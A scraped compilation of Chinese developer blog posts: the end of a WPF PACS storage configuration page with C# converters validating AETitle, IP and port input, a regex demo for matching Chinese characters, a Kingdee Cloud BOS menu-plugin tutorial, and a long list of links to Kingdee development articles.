                <TextBox Text="是否启用" Canvas.Left="95" Canvas.Top="572" Height="35" Width="123" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <ComboBox Width="444" Height="64" Canvas.Left="267" Canvas.Top="556" VerticalContentAlignment="Center" Style="{StaticResource CfgComboBoxStyle}" IsReadOnly="True" ItemsSource="{Binding IsStorageEnable}" SelectedIndex="{Binding IsStorageEnableIndex}"/>

 

                <CheckBox Canvas.Left="133" Canvas.Top="675" Content="启动存储确认" Style="{StaticResource CheckBoxStyle}" IsChecked="{Binding IsEnableStorageConfirm}" Height="57" Width="270"></CheckBox>

                <CheckBox Canvas.Left="506" Canvas.Top="675" Content="标注嵌入" Style="{StaticResource CheckBoxStyle}" IsChecked="{Binding IsAnnotationEmbeded}" Height="57" Width="207"></CheckBox>

 

                <Button Width="150" Height="100" Content="增加" Canvas.Left="76" Canvas.Top="844" Style="{StaticResource StyleButton}" Name="btn_AddStorage" Click="btn_AddStorage_Click"/>

                <Button Width="150" Height="100" Content="修改" Canvas.Left="284" Canvas.Top="844" Style="{StaticResource StyleButton}" Name="btn_ModifyStorage" Click="btn_ModifyStorage_Click"/>

                <Button Width="150" Height="100" Content="删除" Canvas.Left="492" Canvas.Top="844" Style="{StaticResource StyleButton}" Name="btn_DeleteStorage" Click="btn_DeleteStorage_Click"/>

                <Button Width="150" Height="100" Content="测试" Canvas.Left="724" Canvas.Top="844" Style="{StaticResource StyleButton}" Name="btn_TestStorage" Click="btn_TestStorage_Click"/>

            </Canvas>

 

            <Grid Grid.Column="1" Background="#FFC1C1E3">

                <ListView Grid.Row="0" Style="{StaticResource CfgListViewStyle}" Name="listview_Storage" ItemContainerStyle="{StaticResource ListViewItemContainerStyle}" SelectionChanged="listview_Storage_SelectionChanged" Margin="0,0,0,-14">

                    <ListView.View>

                        <GridView ColumnHeaderContainerStyle="{StaticResource CfgDefaultGridViewColumnHeader}">

                            <GridViewColumn Header="AETitle" Width="200" DisplayMemberBinding="{Binding AETitle}"/>

                            <GridViewColumn Header="IP地址" Width="200" DisplayMemberBinding="{Binding IP}"/>

                            <GridViewColumn Header="端口" Width="200" DisplayMemberBinding="{Binding Port}"/>

                            <GridViewColumn Header="存储启用" Width="200" DisplayMemberBinding="{Binding StorageFlag,Converter={StaticResource enableConverter}}"/>

                        </GridView>

                    </ListView.View>

                </ListView>

            </Grid>

 

        </Grid>

    </Viewbox>

</Page>

 PacsConfig.xaml.cs(后台逻辑为空,不罗列也罢):


2.2、判断特殊字符(解决AETitle问题)

特别要注意特殊字符 +   -    ?等等,前面一定要加  \\


    class AETitleVisibilityConverter : IValueConverter

    {

        public object Convert(object value, Type targetType, object parameter, CultureInfo culture)

        {

            //string str = "[!!@#$%\\^&*()./、~`·\\-_=\\+——><《》\\??]+";

            //string str = "[!!@#$%^&*()./、{}【】~`·-_=+——><《》??]+";

            string str = "[!!@#$%\\^&*()./、{}【】~`·\\-_=\\+——><《》\\??]+";

            Regex regex = new Regex(str);

            if (string.IsNullOrEmpty(value.ToString().Trim()))

            {

                return Visibility.Visible;

            }

            else

            {

                if ((regex.IsMatch(value.ToString())))

                    return Visibility.Visible;

                return Visibility.Hidden;

            }

        }

 

        public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)

        {

            throw new NotImplementedException();

        }

    }

2.3、判断IP(解决IP地址问题)

  class IpVisibilityConverter : IValueConverter

    {

        public object Convert(object value, Type targetType, object parameter, CultureInfo culture)

        {

            if (value == null)

            {

                return System.Windows.Visibility.Visible;

            }

            else

            {

                if (string.IsNullOrEmpty(value.ToString()))

                    return System.Windows.Visibility.Visible;

                else

                {

                    string regex = @"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$";

                    if (!System.Text.RegularExpressions.Regex.IsMatch(value.ToString(), regex))

                    {

                        return System.Windows.Visibility.Visible;

                    }

                }

            }

            return System.Windows.Visibility.Hidden;

        }

 

        public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)

        {

            throw new NotImplementedException();

        }

    }

2.4、判断端口号(解决端口号问题)

 public class PortVisibilityConverter : IValueConverter

    {

        public object Convert(object value, Type targetType, object parameter, CultureInfo culture)

        {

            if (value.ToString() == "")

                return "*";

            int port = 0;

            if (Int32.TryParse(value.ToString(), out port))

            {

                if (port > 1024 && port < 65536)

                    return "";

                else

                    return "1025-65535";

            }

            else

            {

                return "1025-65535";

            }

        }

 

        public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)

        {

            throw new NotImplementedException();

        }

    }

2.5、判断true或false

    class StorageIsStartVisibilityConverter : IValueConverter

    {

        public object Convert(object value, Type targetType, object parameter, CultureInfo culture)

        {

            if (value.ToString() == "0")

                return "不启用";

            else

                return "启用";

        }

 

        public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)

        {

            throw new NotImplementedException();

        }

    }

第三章、实践过程需注意的事项

3.1、验证汉字或中文的正则表达式

        参考https://www.cnblogs.com/feiyucha/p/10051117.html     


       参考了第二章以及网上的几种正则表达式,来验证汉字,都不行。比如:


 Regex reg = new Regex(@"^[\u4e00-\u9fa5]{0,}$");

 Regex reg = new Regex(@"[\u4e00-\u9fa5]{0,}$");

 Regex reg = new Regex("^[\u4e00-\u9fa5]{0,}$");

 Regex reg = new Regex("[\u4e00-\u9fa5]{0,}$");

于是,写成下面的两种形式就可以验证汉字了:


 Regex regex = new Regex("[\u4e00-\u9fa5]");

^ 意思是从字符的起始位置开始匹配,虽然看起来没错,实际却不然。因此我们还是要多多验证才行。

千淘万漉虽辛苦,吹尽狂沙始到金。

完整的Demo如下所示:


#region 正则表达式:费了千辛万苦整理出来的

 

using System;

using System.Collections;

using System.Collections.Generic;

using System.Drawing;

using System.IO;

using System.Linq;

using System.Text;

using System.Text.RegularExpressions;

using System.Threading;

using System.Threading.Tasks;

using System.Xml.Linq;

using test;

 

namespace QueueSample

{

    class Program

    {

        static void Main(string[] args)

        {

            Console.WriteLine("-----------1:不能用----------");

            CharacterValidity1("我我");

            CharacterValidity1("jj");

            CharacterValidity1("**");

            CharacterValidity1("我我**");

            CharacterValidity1("我我jj");

            CharacterValidity1("**我我");

            CharacterValidity1("jj我我");

            CharacterValidity1("jj**");

            CharacterValidity1("jj我我**");

 

            Console.WriteLine("-----------2:不能用----------");

            CharacterValidity2("我我");

            CharacterValidity2("jj");

            CharacterValidity2("**");

            CharacterValidity2("我我**");

            CharacterValidity2("我我jj");

            CharacterValidity2("**我");

            CharacterValidity2("jj我");

            CharacterValidity2("jj**");

            CharacterValidity2("jj我**");

 

            Console.WriteLine("-----------3:不能用----------");

            CharacterValidity3("我我");

            CharacterValidity3("jj");

            CharacterValidity3("**");

            CharacterValidity3("我我**");

            CharacterValidity3("我我jj");

            CharacterValidity3("**我我");

            CharacterValidity3("jj我我");

            CharacterValidity3("jj**");

            CharacterValidity3("jj我我**");

 

            Console.WriteLine("-----------4:不能用----------");

            CharacterValidity4("我我");

            CharacterValidity4("jj");

            CharacterValidity4("**");

            CharacterValidity4("我我**");

            CharacterValidity4("我我jj");

            CharacterValidity4("**我我");

            CharacterValidity4("jj我我");

            CharacterValidity4("jj**");

            CharacterValidity4("jj我我**");

 

 

            Console.WriteLine("-----------5:不能用----------");

            CharacterValidity5("我我");

            CharacterValidity5("jj");

            CharacterValidity5("**");

            CharacterValidity5("我我**");

            CharacterValidity5("我我jj");

            CharacterValidity5("**我我");

            CharacterValidity5("jj我我");

            CharacterValidity5("jj**");

            CharacterValidity5("jj我我**");

 

 

            Console.WriteLine("-----------6:不能用----------");

            CharacterValidity6("我我");

            CharacterValidity6("jj");

            CharacterValidity6("**");

            CharacterValidity6("我我**");

            CharacterValidity6("我我jj");

            CharacterValidity6("**我我");

            CharacterValidity6("jj我我");

            CharacterValidity6("jj**");

            CharacterValidity6("jj我我**");

 

            Console.WriteLine("-----------7:不能用----------");

            CharacterValidity7("我我");

            CharacterValidity7("jj");

            CharacterValidity7("**");

            CharacterValidity7("我我**");

            CharacterValidity7("我我jj");

            CharacterValidity7("**我我");

            CharacterValidity7("jj我我");

            CharacterValidity7("jj**");

            CharacterValidity7("jj我我**");

 

            Console.WriteLine("-----------8:可以用----------");

            CharacterValidity8("我我");

            CharacterValidity8("jj");

            CharacterValidity8("……………………~~~-----**");

            CharacterValidity8("我我**");

            CharacterValidity8("我我jj");

            CharacterValidity8("**我我***^^^//");

            CharacterValidity8("jj我我");

            CharacterValidity8("jj**");

            CharacterValidity8("jj我我//...**");

            Console.ReadLine();

        }

 

        //不能用

        private static bool CharacterValidity1(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("^[\u4e00-\u9fa5]{0,}$");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity2(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("^[\u4e00-\u9fa5]{1,}$");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity3(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("^[\u4e00-\u9fa5]+$");//这是我另一个项目的同事在用,但是我验证了,却是无法用。

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity4(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("[\u4e00-\u9fa5]+$");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity5(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("[\u4e00-\u9fa5]{0,}$");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity6(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("[\u4e00-\u9fa5]{1,}$");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity7(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("[\u4e00-\u9fa5]{0,}");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //可以用

        private static bool CharacterValidity8(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("[\u4e00-\u9fa5]");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

    }

}

#endregion

输出结果:


-----------1:不能用----------

True

False

False

False

False

False

False

False

False

-----------2:不能用----------

True

False

False

False

False

False

False

False

False

-----------3:不能用----------

True

False

False

False

False

False

False

False

False

-----------4:不能用----------

True

False

False

False

False

True

True

False

False

-----------5:不能用----------

True

True

True

True

True

True

True

True

True

-----------6:不能用----------

True

False

False

False

False

True

True

False

False

-----------7:不能用----------

True

True

True

True

True

True

True

True

True

-----------8:可以用----------

True

False

False

True

True

True

True

False

True

 

————————————————

版权声明:本文为CSDN博主「我爱AI」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/xpj8888/article/details/98946857


【应用场景】通过菜单按钮,挂载操作、表单服务或者执行插件事件。

【菜单类型】单据菜单(单据维护)、列表菜单(列表查询)、分录菜单

注意:目前菜单项仅支持按钮、下拉按钮和分隔符,其它菜单项如复选框等尚未支持,不建议使用。

【案例演示】采购订单,添加多个主菜单按钮,演示不同类型菜单的操控。

【实现步骤】

<1>编写单据插件,代码如下。

using Kingdee.BOS.Core.Bill.PlugIn;

using Kingdee.BOS.Core.DynamicForm.PlugIn.Args;

using Kingdee.BOS.Util;

using System.ComponentModel;

using System.Linq;


namespace Jac.XkDemo.BOS.Business.PlugIn

{

    /// <summary>

    /// 【单据插件】菜单应用演示

    /// </summary>

    [Description("【单据插件】菜单应用演示"), HotUpdate]

    public class MenuBillPlugIn : AbstractBillPlugIn

    {

        /// <summary>

        /// 主菜单点击事件

        /// </summary>

        /// <param name="e"></param>

        public override void BarItemClick(BarItemClickEventArgs e)

        {

            base.BarItemClick(e);


            #region 获取菜单编程模型


            if (e.BarItemKey == "tbGetMainMenu")

            {

                // 获取主菜单控件

                var menu = this.View.GetMainMenu();

                // 隐藏主菜单

                this.View.AddAction("SetMainMenuVisible", false);

                this.View.ShowMessage("主菜单已隐藏");

                return;

            }

            if (e.BarItemKey == "tbGetMainBarItem")

            {

                // 获取主菜单的某个按钮

                var tbNew = this.View.GetMainBarItem("tbNew");

                // 隐藏主菜单的某个按钮

                tbNew.Visible= false;

                this.View.ShowMessage("新增按钮已隐藏");

                return;

            }

            if (e.BarItemKey == "tbGetMenu")

            {

                // 获取分录菜单

                var tbNew = this.View.GetMenu("FPOOrderEntry");

                // 分录菜单尚不支持隐藏

                // TODO

                return;

            }

            if (e.BarItemKey == "tbGetBarItem")

            {

                // 获取分录菜单的某个按钮

                var tbAddRow = this.View.GetBarItem("FPOOrderEntry", "tbAddRow");

                // 隐藏分录菜单的某个按钮

                tbAddRow.Visible = false;

                this.View.ShowMessage("分录菜单的新增行按钮已隐藏");

                return;

            }


            #endregion


            #region 获取菜单元数据


            if (e.BarItemKey == "tbGeMenuMedadata")

            {

                // 获取单据菜单的元数据

                var menu = this.View.LayoutInfo.GetFormAppearance().Menu;

                // 显示单据菜单按钮名称

                this.View.ShowMessage(string.Join(";", menu.GetAllBarItems().Select(o => o.Key + "," + o.Value.Caption)));

                return;

            }

            if (e.BarItemKey == "tbGeListMenuMedadata")

            {

                // 获取列表菜单的元数据

                var menu = this.View.LayoutInfo.GetFormAppearance().ListMenu;

                // 显示列表菜单按钮名称

                this.View.ShowMessage(string.Join(";", menu.GetAllBarItems().Select(o => o.Key + "," + o.Value.Caption)));

                return;

            }

            if (e.BarItemKey == "tbGeEntryMenuMedadata")

            {

                // 获取分录菜单的元数据

                var menu = this.View.LayoutInfo.GetEntryEntityAppearance("FPOOrderEntry").Menu;

                // 显示分录菜单按钮名称

                this.View.ShowMessage(string.Join(";", menu.GetAllBarItems().Select(o => o.Key + "," + o.Value.Caption)));

                return;

            }


            #endregion

        }

    }

}


<2>拷贝插件组件到应用站点的WebSite\Bin目录下,重启IIS。


<3>登录BOSIDE,扩展采购订单,给菜单集合添加菜单按钮,如下图所示。


<4>注册表单插件,保存元数据,开发完毕。


现在可以登录业务站点,打开采购订单,检验一下插件对菜单的控制效果啦。





【金蝶云星空BOS二次开发案例演示】https://vip.kingdee.com/article/94751030918525696


作者:Jack

来源:金蝶云社区

原文链接:https://vip.kingdee.com/article/86421841576829696?productLineId=1

著作权归作者所有。未经允许禁止转载,如需转载请联系作者获得授权。


金蝶云星空BOS二次开发案例演示

 

 

 

1. 开发环境

二开案例.开发环境.从零开发第一个插件】https://vip.kingdee.com/article/83500607104976896

【二开案例.开发环境.调试插件代码】https://vip.kingdee.com/article/117230406226751232

【二开案例.开发环境.反编译插件】https://vip.kingdee.com/article/145170865587060480

【二开案例.插件开发.插件介绍】https://vip.kingdee.com/article/145199580714208768

【二开案例.开发环境.修改Common.config文件】https://vip.kingdee.com/article/156717242175001856

【二开案例.开发环境.修改Web.config文件】https://vip.kingdee.com/article/156713555800989440

【二开案例.开发环境.获取应用服务器上的日志文件】https://vip.kingdee.com/article/152116225425374976

【二开案例.开发环境.解压补丁文件】https://vip.kingdee.com/article/152456795225481472

【二开案例.开发环境.获取金蝶云星空产品版本号】https://vip.kingdee.com/article/154630879199787776

【二开案例.开发环境.获取应用服务器上的组件(*.dll)的文件信息】https://vip.kingdee.com/article/152459604755578624

【二开案例.开发环境.如何安全的将编译后的组件拷贝到运行站点?】https://vip.kingdee.com/article/178564230978023936

【二开案例.开发环境.制作部署包】https://vip.kingdee.com/article/248146085137700352

【二开案例.IIS.组件更新不生效】https://vip.kingdee.com/article/299558706478234368

 

 

 

2.案例演示

 

【表单插件】

 

【二开案例.表单插件.全事件演示】https://vip.kingdee.com/article/122713247827977984

【二开案例.表单插件.按钮】https://vip.kingdee.com/article/185688858959810304

【二开案例.表单插件.按钮设置快捷键】https://vip.kingdee.com/article/307172323029760768

【二开案例.表单插件.表格动态创建列(元数据版)】https://vip.kingdee.com/article/130367358388408320

【二开案例.表单插件.表格动态创建列】https://vip.kingdee.com/article/131415761566306304

【二开案例.表单插件.表格冻结列】https://vip.kingdee.com/article/200258521815425280

【二开案例.表单插件.表格批量选中行后更新行选中状态】https://vip.kingdee.com/article/288742495217682176

【二开案例.表单插件.操作成功后执行SQL】https://vip.kingdee.com/article/194808387228614144

【二开案例.表单插件.触发菜单点击事件】https://vip.kingdee.com/article/189670829976980736

【二开案例.表单插件.触发实体服务规则】https://vip.kingdee.com/article/225916912545146368

【二开案例.表单插件.触发特定实体服务规则】https://vip.kingdee.com/article/226383394949408256

【二开案例.表单插件.打开本地电脑上的exe程序】https://vip.kingdee.com/article/297420137991025664

【二开案例.表单插件.打开基础资料列表给文本字段赋值】https://vip.kingdee.com/article/154229924809902336

【二开案例.表单插件.单据获取种子值】https://vip.kingdee.com/article/241601125420221184

【二开案例.表单插件.单据类型切换后绑定数据】https://vip.kingdee.com/article/236811714744663808

【二开案例.表单插件.单据上查询辅助资料时设置过滤条件】https://vip.kingdee.com/article/146665310195121920

【二开案例.表单插件.单据上查询基础资料时取消组织隔离】https://vip.kingdee.com/article/289053007009358080

【二开案例.表单插件.单据体上移下移数据行】https://vip.kingdee.com/article/172348459364982272

【二开案例.表单插件.单据体图片字段赋值】https://vip.kingdee.com/article/245492294034485248

【二开案例.表单插件.单据体文本字段显示图片】https://vip.kingdee.com/article/243672342931982336

【二开案例.表单插件.单据体文本字段转成二维码】https://vip.kingdee.com/article/253930643359199744

【二开案例.表单插件.单选按钮】https://vip.kingdee.com/article/155632917837113088

【二开案例.表单插件.单选辅助资料】https://vip.kingdee.com/article/157536706114078208

【二开案例.表单插件.点击菜单执行SQL】https://vip.kingdee.com/article/194805967719517440

【二开案例.表单插件.动态表单关闭后返回数据到父窗体】https://vip.kingdee.com/article/162515325634811648

【二开案例.表单插件.动态表单显示过滤窗体】https://vip.kingdee.com/article/204993375064458240

【二开案例.表单插件.动态创建下拉列表字段】https://vip.kingdee.com/article/159322059259554048

【二开案例.表单插件.动态调整插件执行顺序】https://vip.kingdee.com/article/178886293043062016

【二开案例.表单插件.动态调整服务插件执行顺序】https://vip.kingdee.com/article/253162796689322496

【二开案例.表单插件.多选基础资料字段】https://vip.kingdee.com/article/141576438863919104

【二开案例.表单插件.二维码】https://vip.kingdee.com/article/121261160640374528

【二开案例.表单插件.发送短信】https://vip.kingdee.com/article/155709252995192064

【二开案例.表单插件.发送普通消息】https://vip.kingdee.com/article/162882326983153408

【二开案例.表单插件.分割容器之调整分割位置】https://vip.kingdee.com/article/140031312483587840

【二开案例.表单插件.分录菜单点击后获取菜单项标题】https://vip.kingdee.com/article/147003067631238912

【二开案例.表单插件.辅助资料联动赋值】https://vip.kingdee.com/article/157815339349747968

【二开案例.表单插件.复选框】https://vip.kingdee.com/article/294834015323041280

【二开案例.表单插件.复制新增数据】https://vip.kingdee.com/article/302457103233681664

【二开案例.表单插件.富文本】https://vip.kingdee.com/article/133968744518134528

【二开案例.表单插件.富文本字段显示编辑界面】https://vip.kingdee.com/article/145580911818280448

【二开案例.表单插件.缓存清理(按区段清理)】https://vip.kingdee.com/article/187600686643417856

【二开案例.表单插件.获取单据体指定列的合计值】https://vip.kingdee.com/article/137602315455829760

【二开案例.表单插件.获取多选辅助资料名称和编码】https://vip.kingdee.com/article/144396464796359936

【二开案例.表单插件.获取多选基础资料的编码和名称】https://vip.kingdee.com/article/253466206081405184

【二开案例.表单插件.获取附件(数据库)】https://vip.kingdee.com/article/274100874010685184

【二开案例.表单插件.获取附件名称】https://vip.kingdee.com/article/169853655049945856

【二开案例.表单插件.获取调用堆栈】https://vip.kingdee.com/article/159258017102866688

【二开案例.表单插件.获取下拉列表的枚举项的名称和值】https://vip.kingdee.com/article/297400170890220288

【二开案例.表单插件.获取业务对象的字段集合】https://vip.kingdee.com/article/147352254293315072

【二开案例.表单插件.基础资料获取种子值】https://vip.kingdee.com/article/246276119392136192

【二开案例.表单插件.基础资料模糊查询设置排序字段】https://vip.kingdee.com/article/274595107373441536

【二开案例.表单插件.基础资料字段绑定已禁用数据】https://vip.kingdee.com/article/236081844276830720

【二开案例.表单插件.基础资料字段赋值】https://vip.kingdee.com/article/152049652391371008

【二开案例.表单插件.计算时间差】https://vip.kingdee.com/article/237992675092512256

【二开案例.表单插件.将大文本字段的详细信息赋值给摘要】https://vip.kingdee.com/article/88637596951033600

【二开案例.表单插件.将大文本字段的摘要赋值给详细信息】https://vip.kingdee.com/article/221683188580323584

【二开案例.表单插件.禁用插件值更新事件实体服务规则】https://vip.kingdee.com/article/215888070023680256

【二开案例.表单插件.将日志写入日志库】https://vip.kingdee.com/article/121664954557574144

【二开案例.表单插件.设置F8列表单选返回数据】https://vip.kingdee.com/article/219125154947633408

【二开案例.表单插件.禁用模糊查询】https://vip.kingdee.com/article/173381120782614272

【二开案例.表单插件.可编辑基础资料F8列表返回后使用基础资料名称进行赋值】https://vip.kingdee.com/article/300329610343251456

【二开案例.表单插件.客户端显示本机信息】https://vip.kingdee.com/article/288675211015692544

【二开案例.表单插件.跨账套执行Sql账表】https://vip.kingdee.com/article/174600674901303808

【二开案例.表单插件.链接】https://vip.kingdee.com/article/217599299129853696

【二开案例.表单插件.面板中嵌入窗体】https://vip.kingdee.com/article/154892451012720128

【二开案例.表单插件.批量复制单据体的数据行到子单据体】https://vip.kingdee.com/article/280004420408860928

【二开案例.表单插件.嵌入式窗体联动】https://vip.kingdee.com/article/172673145621689856

【二开案例.表单插件.日期字段动态控制输入范围】https://vip.kingdee.com/article/137584936390872832

【二开案例.表单插件.设置表格背景色】https://vip.kingdee.com/article/160697075289073920

【二开案例.表单插件.设置列标题提示】https://vip.kingdee.com/article/307841536211974144

【二开案例.表单插件.设置面板背景图片】https://vip.kingdee.com/article/114324238550502400

【二开案例.表单插件.设置下拉列表可编辑】https://vip.kingdee.com/article/121918117780843008

【二开案例.表单插件.设置字段前景色和背景色】https://vip.kingdee.com/article/301296750877138688

【二开案例.表单插件.设置组合字段】https://vip.kingdee.com/article/120184808650530048

【二开案例.表单插件.使用进度条执行批处理】https://vip.kingdee.com/article/281115090479262208

【二开案例.表单插件.下拉列表动态绑定枚举类型】https://vip.kingdee.com/article/137494654802820864

【二开案例.表单插件.下拉列表使用自定义数据源(SQL)】https://vip.kingdee.com/article/137250328441093888

【二开案例.表单插件.树形单据体】https://vip.kingdee.com/article/165462548668510976

【二开案例.表单插件.树形单据体支持块粘贴】https://vip.kingdee.com/article/271336220892899840

【二开案例.表单插件.私有下拉列表】https://vip.kingdee.com/article/135338958086831872

【二开案例.表单插件.锁定解锁单元格】https://vip.kingdee.com/article/294874663044525568

【二开案例.表单插件.通过内码获取单据数据包】https://vip.kingdee.com/article/301290459740405248

【二开案例.表单插件.通用进度条】https://vip.kingdee.com/article/110013932148173824

【二开案例.表单插件.图片控件】https://vip.kingdee.com/article/137945332079755008

【二开案例.表单插件.文本字段设置为空提示信息】https://vip.kingdee.com/article/145100122206866944

【二开案例.表单插件.文本字段使用按钮弹出编辑窗体】https://vip.kingdee.com/article/190476485713732352

【二开案例.表单插件.文件浏览】https://vip.kingdee.com/article/119071132254285568

【二开案例.表单插件.文件上传】https://vip.kingdee.com/article/119433960857351680

【二开案例.表单插件.文件下载】https://vip.kingdee.com/article/119757862997407232

【二开案例.元模型.下拉列表】https://vip.kingdee.com/article/134300640749955840

【二开案例.表单插件.向导式动态表单】https://vip.kingdee.com/article/157454074366437632

【二开案例.表单插件.写文件日志(log4net)】https://vip.kingdee.com/article/131461420491214848

【二开案例.表单插件.修改窗体显示名称】https://vip.kingdee.com/article/240787431618626304

【二开案例.表单插件.修改列标题】https://vip.kingdee.com/article/91244138430907136

【二开案例.表单插件.修改模糊查询的结果集】https://vip.kingdee.com/article/155721097340905216

【二开案例.表单插件.修改文件下载链接的链接地址和标题】https://vip.kingdee.com/article/111156889920284416

【二开案例.表单插件.修改字段标题】https://vip.kingdee.com/article/137503821302976256

【二开案例.表单插件.执行SQL】https://vip.kingdee.com/article/119856062978967040

【二开案例.表单插件.直接SQL账表双击数据行打开新窗体】https://vip.kingdee.com/article/94844116197716736

【二开案例.表单插件.值更新日志跟踪】https://vip.kingdee.com/article/201028658725864192

【二开案例.表单插件.值更新事件】https://vip.kingdee.com/article/107488939262358784

【二开案例.表单插件.值更新事件之更新自己】https://vip.kingdee.com/article/139380048758314752

【二开案例.表单插件.值更新事件之文本格式化】https://vip.kingdee.com/article/184626121345336576

【二开案例.表单插件.注销并退出系统】https://vip.kingdee.com/article/180969260041452032

【二开案例.表单插件.自定义功能验权】https://vip.kingdee.com/article/224186339292192768

【二开案例.表单插件.自动刷新之定时器事件】https://vip.kingdee.com/article/163244310819751424

【二开案例.表单插件.自动刷新之自定义事件】https://vip.kingdee.com/article/163231754231289600

【二开案例.表单插件.字段锁定解锁】https://vip.kingdee.com/article/137853506332923648

 

 

 

【单据插件】

 

【二开案例.单据插件.全事件演示】https://vip.kingdee.com/article/109710582399705344

【二开案例.单据插件.保存前提示】https://vip.kingdee.com/article/152009759460057344

【二开案例.单据插件.超链接.表格单元格超链接打开单据查看界面】https://vip.kingdee.com/article/89775201851601408

【二开案例.单据插件.表格单元格打开超链接】https://vip.kingdee.com/article/119516731957088000

【二开案例.单据插件.菜单.菜单应用】https://vip.kingdee.com/article/86421841576829696

【二开案例.服务插件.操作执行前传递自定义的用户参数给服务插件】https://vip.kingdee.com/article/89750364894748928

【二开案例.单据插件.创建关联关系】https://vip.kingdee.com/article/243062307167618304

【二开案例.单据插件.打开单据时按单据类型绑定的视图显示窗体】https://vip.kingdee.com/article/262182997078941184

【二开案例.单据插件.大文本.大文本字段赋值】https://vip.kingdee.com/article/95927426236149760

【二开案例.单据插件.单据保存时不保存弹性域数据】https://vip.kingdee.com/article/312593117352144896

【二开案例.单据插件.单据打开前重新加载元数据】https://vip.kingdee.com/article/239414681620848640

【二开案例.单据插件.单据界面关闭后自动刷新列表数据】https://vip.kingdee.com/article/179534077928711424

【二开案例.单据插件.单据上查询基础资料时设置过滤条件】https://vip.kingdee.com/article/104945110479021056

【二开案例.单据插件.单据上查询基础资料时设置排序规则】https://vip.kingdee.com/article/121927598166289408

【二开案例.单据插件.单据上查询维度关联字段的辅助属性时设置过滤条件】https://vip.kingdee.com/article/111784423665717760

【二开案例.单据插件.单据体合计列】https://vip.kingdee.com/article/96348519593507328

【二开案例.单据插件.点击菜单打开超链接】https://vip.kingdee.com/article/81423104462710784

【二开案例.单据插件.下拉列表.动态填充下拉选项】https://vip.kingdee.com/article/84578415390870784

【二开案例.单据插件.动态注册实体服务规则】https://vip.kingdee.com/article/129625854548183808

【二开案例.单据插件.发送邮件时使用自定义附件名称】https://vip.kingdee.com/article/306438968604775168

【二开案例.单据插件.分割容器】https://vip.kingdee.com/article/103493163347842048

【二开案例.单据插件.复制单据时设置组织】https://vip.kingdee.com/article/259009820932991744

【二开案例.单据插件.复制新增单据时锁定字段】https://vip.kingdee.com/article/241971284257952256

【二开案例.单据插件.公式编辑器】https://vip.kingdee.com/article/107125623499270656

【二开案例.单据插件.缓存清理】https://vip.kingdee.com/article/185759531572440832

【二开案例.单据插件.获取单据编号】https://vip.kingdee.com/article/116590344044577280

【二开案例.单据插件.禁用网控】https://vip.kingdee.com/article/295131813976781824

【二开案例.单据插件.禁止表格列排序分组过滤】https://vip.kingdee.com/article/104525235684493056

【二开案例.单据插件.禁止表格列拖动和缩放】https://vip.kingdee.com/article/106428827802656768

【二开案例.单据插件.控件可用性(启用/禁用)设置】https://vip.kingdee.com/article/82883534188553216

【二开案例.单据插件.控件可见性(显示/隐藏)设置】https://vip.kingdee.com/article/85779233737657600

【二开案例.单据插件.切换单据】https://vip.kingdee.com/article/231107236490519040

【二开案例.单据插件.切换单据类型后设置窗体标题】https://vip.kingdee.com/article/289751631019903488

【二开案例.单据插件.设置表格背景色】https://vip.kingdee.com/article/89316655658243840

【二开案例.单据插件.设置单据类型可选项】https://vip.kingdee.com/article/203929343053833472

【二开案例.单据插件.设置表格单元格的输入焦点】https://vip.kingdee.com/article/96240301433780992

【二开案例.单据插件.设置表格行高】https://vip.kingdee.com/article/104255048703548160

【二开案例.列表插件.设置基础资料列表过滤界面的状态字段可用】https://vip.kingdee.com/article/236076307811776512

【二开案例.单据插件.设置表格排序列】https://vip.kingdee.com/article/119096730880423168

【二开案例.单据插件.设置表格前景色】https://vip.kingdee.com/article/91482979196651520

【二开案例.单据插件.设置单据体焦点行】https://vip.kingdee.com/article/307837886949390336

【二开案例.单据插件.设置单据体每页最大行数】https://vip.kingdee.com/article/176006504268032256

【二开案例.单据插件.设置附件字段预览下载按钮是否可见】https://vip.kingdee.com/article/104545970007841536

【二开案例.单据插件.审核成功后自动关闭当前窗体】https://vip.kingdee.com/article/175566954026221824

【二开案例.单据插件.使用指定编码规则生成单据编号】https://vip.kingdee.com/article/216229928683802880

【二开案例.单据插件.手动补号】https://vip.kingdee.com/article/285050489706540288

